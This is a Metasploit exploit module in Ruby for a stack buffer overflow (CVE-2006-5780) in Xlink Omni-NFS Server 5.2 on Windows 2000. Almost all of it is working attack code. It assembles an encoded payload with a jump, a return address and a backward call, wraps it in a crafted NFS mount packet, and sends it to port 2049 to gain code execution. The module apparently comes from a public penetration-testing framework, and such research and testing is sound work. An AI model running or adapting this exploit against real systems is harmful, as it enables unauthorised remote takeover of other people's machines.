1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Omni-NFS Server Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
18
          When sending a specially crafted nfs packet, an attacker may be able
19
          to execute arbitrary code.
20
        },
21
        'Author' => [ 'MC' ],
22
        'References' => [
23
          [ 'CVE', '2006-5780' ],
24
          [ 'OSVDB', '30224'],
25
          [ 'BID', '20941' ],
26
          [ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
27
        ],
28
        'DefaultOptions' => {
29
          'EXITFUNC' => 'process',
30
        },
31
        'Payload' => {
32
          'Space' => 336,
33
          'BadChars' => "\x00",
34
          'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
35
          'StackAdjustment' => -3500,
36
        },
37
        'Platform' => 'win',
38
        'Targets' => [
39
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
40
        ],
41
        'Privileged' => true,
42
        'DefaultTarget' => 0,
43
        'DisclosureDate' => '2006-11-06',
44
        'Notes' => {
45
          'Reliability' => UNKNOWN_RELIABILITY,
46
          'Stability' => UNKNOWN_STABILITY,
47
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
        }
49
      )
50
    )
51

52
    register_options([Opt::RPORT(2049)])
53
  end
54

55
  def exploit
56
    connect
57

58
    buff = payload.encoded
59
    buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
60
    buff << [target.ret].pack('V')
61
    buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
62
    buff << rand_text_english(251)
63

64
    pkt = [1].pack('N')
65
    pkt << [0].pack('N')
66
    pkt << [2].pack('N')
67
    pkt << [100005].pack('N')
68
    pkt << [1].pack('N')
69
    pkt << [1].pack('N')
70
    pkt << [1].pack('N')
71
    pkt << [400].pack('N')
72
    pkt << buff[0, 400]
73
    pkt << [1].pack('N')
74
    pkt << [400].pack('N')
75
    pkt << buff[300, 400]
76

77
    sploit = [pkt.length | 0x80000000].pack('N') + pkt
78

79
    print_status("Trying target #{target.name}...")
80
    sock.put(sploit)
81

82
    handler
83
    disconnect
84
  end
85
end
86

87